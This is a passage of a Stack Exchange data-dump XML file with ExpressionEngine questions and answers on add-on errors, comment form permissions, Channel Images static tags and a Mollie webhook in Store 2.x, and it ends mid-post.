  <row Id="35588" PostTypeId="2" ParentId="35372" CreationDate="2016-02-17T11:16:54.443" Score="0" Body="&lt;p&gt;No ETA has been announced, more info: &lt;a href=&quot;https://pixelandtonic.com/blog/ee3-plans&quot; rel=&quot;nofollow&quot;&gt;https://pixelandtonic.com/blog/ee3-plans&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or follow/tweet &lt;a href=&quot;https://twitter.com/pixelandtonic&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic on Twitter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-02-17T11:16:54.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35589" PostTypeId="1" CreationDate="2016-02-17T12:59:45.840" Score="0" ViewCount="108" Body="&lt;p&gt;I've created a Google Cloud Storage Bucket and enabled what I believe to be the right place for the Secret and Access ID - however, I'm getting the following error whenever I try to save and the location doesn't appear in my assets folder for view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: stdClass::$body&#xA;Filename: lib/Assets_GC.php&#xA;Line Number: 1993&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't actually find any instructions on how to configure/setup google cloud hosting, so I'm a little stuck as to whether I've done the right thing or not.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2016-05-27T06:52:45.993" Title="P&amp;T Asset and Google Cloud Storage" Tags="|assets|pixelandtonic|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35592" PostTypeId="1" CreationDate="2016-02-17T16:49:49.383" Score="1" ViewCount="341" Body="&lt;p&gt;Thanks For Taking The Time To Read!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has me a bit stumped: Error generates upon form submit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Live Site&lt;/li&gt;&#xA;&lt;li&gt;Checked several times for allowing comments in both System Settings &amp;amp; Channel&lt;/li&gt;&#xA;&lt;li&gt;First Site with EE 3  (Core)&lt;/li&gt;&#xA;&lt;li&gt;Used different emails/comment tests&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Page Link: &lt;a href=&quot;http://www.stevenseppinni.com/index.php/site/article_detail_video/this-is-a-video-example&quot; rel=&quot;nofollow&quot;&gt;http://www.stevenseppinni.com/index.php/site/article_detail_video/this-is-a-video-example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;comments&quot;&amp;gt;&#xA;          &amp;lt;h6 class=&quot;section-title&quot;&amp;gt;3 Comments&amp;lt;/h6&amp;gt;&#xA;          &amp;lt;p&amp;gt;Comments are optional and I am editable! Whoop!&amp;lt;/p&amp;gt;&#xA;          &amp;lt;ol class=&quot;comments-list&quot;&amp;gt;&#xA;{exp:comment:entries sort=&quot;desc&quot; orderby=&quot;date&quot; limit=&quot;20&quot; dynamic=&quot;no&quot;}&#xA;            &amp;lt;li class=&quot;comment&quot;&amp;gt;&#xA;              &amp;lt;article&amp;gt; {if avatar} &amp;lt;img src=&quot;{avatar_url}&quot; width=&quot;{avatar_image_width}&quot; height=&quot;{avatar_image_height}&quot; class=&quot;avatar&quot; alt=&quot;{author}'s avatar&quot; /&amp;gt; {/if} &#xA;                &amp;lt;div class=&quot;comment-meta&quot;&amp;gt;&#xA;                  &amp;lt;h5 class=&quot;author&quot;&amp;gt;By: {name} On: {comment_date format=&quot;%Y %m %d&quot;} &amp;lt;a href=&quot;#&quot; class=&quot;comment-reply-link&quot;&amp;gt;Reply&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- end .comment-meta --&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;comment-body&quot;&amp;gt;&#xA;                  &amp;lt;p&amp;gt;{comment}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- end .comment-body --&amp;gt; &#xA;              &amp;lt;/article&amp;gt;         &#xA;            &amp;lt;/li&amp;gt;&#xA;{/exp:comment:entries}&#xA;          &amp;lt;/ol&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;section id=&quot;respond&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;col-lg-12 col-md-12 col-sm-12 col-xs-12 blogleft contact&quot;&amp;gt;&#xA;{exp:comment:form channel=&quot;article_wistia_video&quot;} &#xA;              &amp;lt;h3 class=&quot;contactTitle&quot;&amp;gt;Leave a Comment&amp;lt;/h3&amp;gt;&#xA;              &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-12 col-sm-12 col-md-12 col-lg-12 form-group form-row&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;normal&quot; id=&quot;name&quot; placeholder=&quot;Name&quot; name=&quot;name&quot; value=&quot;{name}&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;              &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-12 col-sm-12 col-md-12 col-lg-12 form-group form-row&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;email&quot; class=&quot;normal&quot; id=&quot;email&quot; placeholder=&quot;Email Address&quot; name=&quot;email&quot; value=&quot;{email}&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;              &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-12 col-sm-12 col-md-12 col-lg-12 form-group form-row&quot;&amp;gt;&#xA;                  &amp;lt;textarea name=&quot;comment&quot; placeholder=&quot;Comment&quot; rows=&quot;4&quot; class=&quot;normal&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;              &amp;lt;!--&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt; Remember my personal information&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt; Notify me of follow-up comments?&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {if captcha}&#xA;                &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;p&amp;gt;{captcha}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;              &amp;lt;/div&amp;gt; --&amp;gt;             &#xA;              &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-12 col-sm-12 col-md-12 col-lg-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;submit&quot; id=&quot;submit&quot; name=&quot;sumbit&quot; value=&quot;Submit&quot; class=&quot;button&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;{/exp:comment:form}&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/section&amp;gt;&#xA;          &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7101" LastActivityDate="2017-08-08T08:26:27.807" Title="Commet Form Error: You are not allowed to post comments" Tags="|comments|comment-form|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35593" PostTypeId="2" ParentId="35592" CreationDate="2016-02-17T18:38:46.080" Score="1" Body="&lt;p&gt;One likely possibility to check first:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the Guests member group (which is essentially any non-logged-in users) have permission to post comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE2 you'd go to &lt;strong&gt;&lt;em&gt;Admin &gt; Member Groups &gt; Guests&lt;/em&gt;&lt;/strong&gt;&#xA;and look for &lt;strong&gt;Comment Posting Privileges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not positive, but in EE3 I believe this member group setting is called &lt;strong&gt;Submit Comments&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.expressionengine.com/latest/cp/members/groups/form.html#submit-comments&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/cp/members/groups/form.html#submit-comments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2016-02-17T19:21:49.220" LastActivityDate="2016-02-17T19:21:49.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35594" PostTypeId="1" AcceptedAnswerId="35615" CreationDate="2016-02-17T19:04:55.760" Score="1" ViewCount="391" Body="&lt;p&gt;ExpressionEngine 3.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Images  6.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon installed ok. I have tried uninstalling and re-installing and had no change. The field was created ok. The location check passed. However, when I try to view the template, I just get 2 warnings and a fatal error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IaMK7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IaMK7.jpg&quot; alt=&quot;Test Location Results&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even if all tests PASS, uploading can still fail due Apache/htaccess&#xA;  misconfiguration&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but I don't see anything wrong with either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to create an entry and upload the photos. I can see the images on the server. When I try to render a template, I get the following warnings and then fatal error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mnFfC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnFfC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning 1:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;require(/home/stkhomes/system/user/addons/channel_images/locations//.php):&#xA;  failed to open stream: No such file or directory&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;user/addons/channel_images/models/channel_images_model.php, line 701&#xA;  hide details&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: E_WARNING&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Warning 2:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;require(/home/stkhomes/system/user/addons/channel_images/locations//.php):&#xA;  failed to open stream: No such file or directory&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;user/addons/channel_images/models/channel_images_model.php, line 701&#xA;  hide details&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: E_WARNING&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fatal Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: require(): Failed opening required&#xA;  '/home/stkhomes/system/user/addons/channel_images/locations//.php'&#xA;  (include_path='.:/usr/local/php56/pear') in&#xA;  /home/stkhomes/system/user/addons/channel_images/models/channel_images_model.php&#xA;  on line 701&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I stepped through things and it appeared that the cache was not being written and returned inside the CI model.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any insight on this? I am on a deadline and this is a huge snag for me right now as I planned the site around this field. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-19T14:18:57.243" Title="EE3 DevDemon Channel Images fatal error when trying to render template" Tags="|devdemon|channel-images|ee3|fatal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35596" PostTypeId="2" ParentId="35589" CreationDate="2016-02-17T22:57:09.650" Score="0" Body="&lt;p&gt;I'm not sure what the error is being caused by. P&amp;amp;T may have some more info for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you might try using the config overrides for Assets to see if that works instead. This if you're using a master config of some sort. If no master config then disregard this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can setup Google Cloud Storage via a System Configuration Override using &lt;a href=&quot;https://docs.pixelandtonic.com/assets/using/config.html&quot; rel=&quot;nofollow&quot;&gt;assets_source_settings&lt;/a&gt;. This is similar to EE's file upload_preference (&lt;a href=&quot;https://docs.expressionengine.com/latest/general/system_configuration_overrides.html#upload-preferences&quot; rel=&quot;nofollow&quot;&gt;v3&lt;/a&gt;)(&lt;a href=&quot;https://docs.expressionengine.com/v2/general/system_configuration_overrides.html#upload-preferences&quot; rel=&quot;nofollow&quot;&gt;v2&lt;/a&gt;). So, if you had two locations to setup, for &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab Master Config&lt;/a&gt; on EE2, it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['assets_source_settings'] = array(&#xA;    1 =&amp;gt; array(&#xA;        'access_key_id'     =&amp;gt; 'your_id',&#xA;        'secret_access_key' =&amp;gt; 'your_access_key',&#xA;        'bucket'            =&amp;gt; 'your_bucket',&#xA;        'url_prefix'        =&amp;gt; 'your_url_prefix',&#xA;        'subfolder'         =&amp;gt; 'your_subfolder',&#xA;    ),&#xA;    2 =&amp;gt; array(&#xA;        'access_key_id'     =&amp;gt; 'your_id',&#xA;        'secret_access_key' =&amp;gt; 'your_access_key',&#xA;        'bucket'            =&amp;gt; 'your_bucket',&#xA;        'url_prefix'        =&amp;gt; 'your_url_prefix',&#xA;        'subfolder'         =&amp;gt; 'your_subfolder',&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I'm not sure you can setup a source without doing it in the CP first, however, could be worth a try.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2016-02-17T22:57:09.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35597" PostTypeId="1" AcceptedAnswerId="35603" CreationDate="2016-02-18T00:26:46.390" Score="0" ViewCount="343" Body="&lt;p&gt;I have a channel that has a text field and a Channel Images field; I want the images to accompany the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm keeping the image information (the CSS, etc) in a snippet and using Hop Inject to place the snippet following certain paragraphs. That's working so far with one image. But I'm trying to figure out how to place the same snippet in various parts of the text and have it bring up the different images in order that are in the Channel Images field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking the way to do this would be to use the &lt;code&gt;{exp:channel_images:images_static}&lt;/code&gt; tag. But I cannot wrap my brain around the documentation and example provided. For example, the sample is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot; url_title=&quot;{segment_3}&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {exp:channel_images:images_static entry_id=&quot;{entry_id}&quot;}&#xA;        {body}&#xA;        {extended}&#xA;    {/exp:channel_images:images_static}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but I don't see what's calling the image, and I don't understand what the 'body' and 'extended' tags are supposed to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: ADDING MORE EXPLANATION FOR CLARITY&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I'm explaining this properly, but what I'm trying to do is have a snippet that displays the first image in a Channel Images field, and then another snippet that will display the second image in that Channel Images field.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2016-02-18T16:53:07.640" LastActivityDate="2016-02-18T17:47:52.310" Title="How to use the Channel Images' &quot;images static&quot;?" Tags="|devdemon|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35601" PostTypeId="2" ParentId="35597" CreationDate="2016-02-18T14:44:02.347" Score="0" Body="&lt;p&gt;Ok, so lets brake down the example a little. First thing I'd like to point out is that the &lt;code&gt;{extended}&lt;/code&gt; tag in the example has no point being there, it is simply there to say &quot;in our example, our 'about' channel has 2 fileds, one called &lt;code&gt;body&lt;/code&gt; and one called &lt;code&gt;extended&lt;/code&gt;&quot;. The rest of the example deals exclusively with the &lt;code&gt;body&lt;/code&gt; field (and the channel entries field which is of course implied).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say the &lt;code&gt;body&lt;/code&gt; field is a plain textbox, in this text box we enter the text, for our example we'll consider the title of the entry to be &quot;Test Title&quot; : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque in lacinia purus.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{image:1}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{image:1:description}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Quisque molestie tempus mauris eu lobortis. Sed id nunc eu diam dapibus mollis non id ligula.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is literally, the braced content is just braces and characters in the text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now if we create a channel entries loop like below, we will see this text displayed on the page as so (for this example &lt;code&gt;segment_3&lt;/code&gt; obviously targets the entry in question): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot; url_title=&quot;{segment_3}&quot;}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives us (in HTML, assuming the text boxes carriage returns are parsed into br's) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Test Title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque &#xA;in lacinia purus.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;{image:1}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;{image:1:description}&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;Quisque molestie tempus mauris &#xA;eu lobortis. Sed id nunc eu diam dapibus mollis non id ligula.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, we don't want this as its displaying the literan &lt;code&gt;{image:1}&lt;/code&gt; in the output!! Enter Channel Images' Static Images. For this example, lets say you've uploaded 1 image of some cheeseburgers to the Channel Images field of the entry, changed its title to &quot;Cheeseburgers&quot; and given it a description in Channel Images of &quot;What I had for lunch today!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we factor in the channel images tags into our example, as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot; url_title=&quot;{segment_3}&quot;}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  {exp:channel_images:images_static entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;  {/exp:channel_images:images_static}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, no the cu-de-gras. The &lt;code&gt;exp:channel_images:images_static&lt;/code&gt; tag has an entry ID, the same entry ID from the outer Channel Entries loop, so it can find the right Channel Images field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Channel Images &gt; Images Static does is search the output from the inner variables (in our example just the body) and replaces &lt;code&gt;{image:[ID][:[part]]}&lt;/code&gt; text with images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as we have &lt;code&gt;{image:1}&lt;/code&gt; in our text in our textbox, this is replaced with &lt;code&gt;&amp;lt;img src=&quot;/url/to/cheeseburgers5.jpg&quot; alt=&quot;Cheeseburgers&quot;&amp;gt;&lt;/code&gt;, which is the URL and title for Image 1 in the Channel Entries field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, we have &lt;code&gt;{image:1:description}&lt;/code&gt; in out text, so this is replaced with the description attribute of image 1 in the channel entries field, ie &quot;What I had for lunch today!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with the static images tag our final markup in HTML is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Test Title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque &#xA;in lacinia purus.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;img src=&quot;/url/to/cheeseburgers5.jpg&quot; alt=&quot;Cheeseburgers&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;What I had for lunch today!&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;Quisque molestie tempus mauris &#xA;eu lobortis. Sed id nunc eu diam dapibus mollis non id ligula.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Voila! We have inserted a Channel Entries image from the Channel Images field into the &quot;static&quot; content from the textbox called &lt;code&gt;body&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, it doesn't have to be in a channel entries tag, you could wrap static content with the tags, so for example if we had this as out template code (assuming we have a channel of &quot;image of the day&quot; or shortcode IOTD, and each entry has a date as its title.) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- The URL title is calculated using todays date --}&#xA;{exp:channel_images:images_static url_title=&quot;{todays_date}&quot;}&#xA;  &amp;lt;h1&amp;gt;Image of the day&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;p&amp;gt;Todays image is called {image:1:title} : &amp;lt;/p&amp;gt;&#xA;  {image:1}&#xA;  &amp;lt;p&amp;gt;&amp;lt;sup&amp;gt;{image:1:description}&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;Looks good doesn't it!! By the way its file name was {image:1:filename}&amp;lt;/p&amp;gt;&#xA;{/exp:channel_images:images_static}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it would be parsed and the first image in the channel entries field for the entry specified by &lt;code&gt;{todays_date}&lt;/code&gt; would be used to replace the tags &lt;code&gt;{image:1:title}&lt;/code&gt;, &lt;code&gt;{image:1}&lt;/code&gt;, {image:1:description}&lt;code&gt;and&lt;/code&gt;{image:1:filename}`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help you make sence of this??&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;In response to comment 1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You're not wrong in your comment, but this is in the context of being inside a channel entries loop. Channel Images is a field type so I am assuming your Channel Images field is on an entry of some description?? Lets say for examples sake your entry ID is &quot;10&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, in your template you might have this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; entry_id=&quot;10&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {snippet_1}&#xA;  {snippet_2}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your snippet (snippet_1), you can use this code , using your syntax&#xA;(According to &lt;a href=&quot;http://www.devdemon.com/documentation/tag/images-static&quot; rel=&quot;nofollow&quot;&gt;The Docs&lt;/a&gt; there is no 'alt' property, just a description)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images_static entry_id=&quot;{entry_id}&quot;}&#xA;  &amp;lt;img src=&quot;{image:1:url:medium}&quot; alt=&quot;{image:1:description}&quot; /&amp;gt;&#xA;{/exp:channel_images:images_static}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see the entry ID being passed into the static images tag?? thats what tells channel Images what entry to get the Channel Images field from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difference between the basic image tag and image_static seems to be that while the former is for iterating through the collection (or gettingthe cover image) the latter (static) allows you to pick the row ID from the list of images in the field.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2016-02-18T17:47:52.310" LastActivityDate="2016-02-18T17:47:52.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35602" PostTypeId="1" CreationDate="2016-02-18T14:47:40.653" Score="0" ViewCount="89" Body="&lt;p&gt;I'm using store 2.x and (almost!) everything works fine. There is one small thing bugging me. Mollie sends me a warning: the webhook isn't correctly connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's quite obvious; I didn't enter any &lt;a href=&quot;https://www.mollie.com/en/docs/webhook&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Mollie&amp;#39;s WebHook&quot;&gt;webhook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: What webhook URL should I enter in my account at Mollie?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update 20160222 Mollie API webhook image:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L3XSj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3XSj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update 20160222 checkout code:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;form_class=&quot;form-horizontal&quot;&#xA;return=&quot;shop/order/ORDER_HASH&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;{if no_items}&#xA;    {redirect=&quot;shop/checkout&quot;}&#xA;{/if}&#xA;&#xA; &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Payment info&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_address1}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_address2}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_city} {billing_postcode}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_state_name}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_country_name}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_phone}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{order_email}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Shipping info&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        {if shipping_same_as_billing}&#xA;                            Shipping = billing&#xA;                        {if:else}&#xA;                            &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_address1}&amp;lt;/div&amp;gt;&#xA;                            